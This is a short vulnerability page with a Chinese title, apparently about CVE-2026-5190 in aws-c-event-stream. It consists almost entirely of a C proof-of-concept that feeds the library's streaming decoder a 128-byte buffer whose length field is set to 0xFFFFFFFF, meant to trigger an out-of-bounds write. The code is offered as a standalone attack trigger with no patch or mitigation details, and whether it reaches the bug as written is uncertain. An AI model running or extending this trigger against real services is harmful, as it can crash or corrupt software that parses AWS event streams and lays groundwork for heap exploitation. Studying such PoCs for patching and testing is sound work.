CVE-2026-5190 aws-c-event-stream越界写入漏洞

/* * PoC for CVE-2026-5190: Out-of-bounds write in aws-c-event-stream * This PoC demonstrates how a crafted message can be processed to trigger the vulnerability. * Note: Actual exploitation requires specific heap layout manipulation. */ #include <aws/common/allocator.h> #include <aws/event-stream/event_stream.h> #include <stdio.h> #include <string.h> int main() { struct aws_allocator *allocator = aws_default_allocator(); struct aws_event_stream_streaming_decoder decoder; // Initialize the decoder with a null handler for simplicity aws_event_stream_streaming_decoder_init(&decoder, allocator, NULL, NULL); // Crafted payload simulating a malformatted event stream message // The length field (bytes 0-3) is set to a value larger than the actual buffer // to trigger the out-of-bounds write during decoding. uint8_t crafted_message[128]; memset(crafted_message, 0, 128); // Set total length to a large value (e.g., 0xFFFFFFFF) to cause overflow crafted_message[0] = 0xFF; crafted_message[1] = 0xFF; crafted_message[2] = 0xFF; crafted_message[3] = 0xFF; // Feed the crafted data into the decoder printf("Sending crafted payload to trigger OOB write...\n"); aws_event_stream_streaming_decoder_feed(&decoder, crafted_message, sizeof(crafted_message)); // Cleanup aws_event_stream_streaming_decoder_clean_up(&decoder); printf("Payload processed.\n"); return 0; }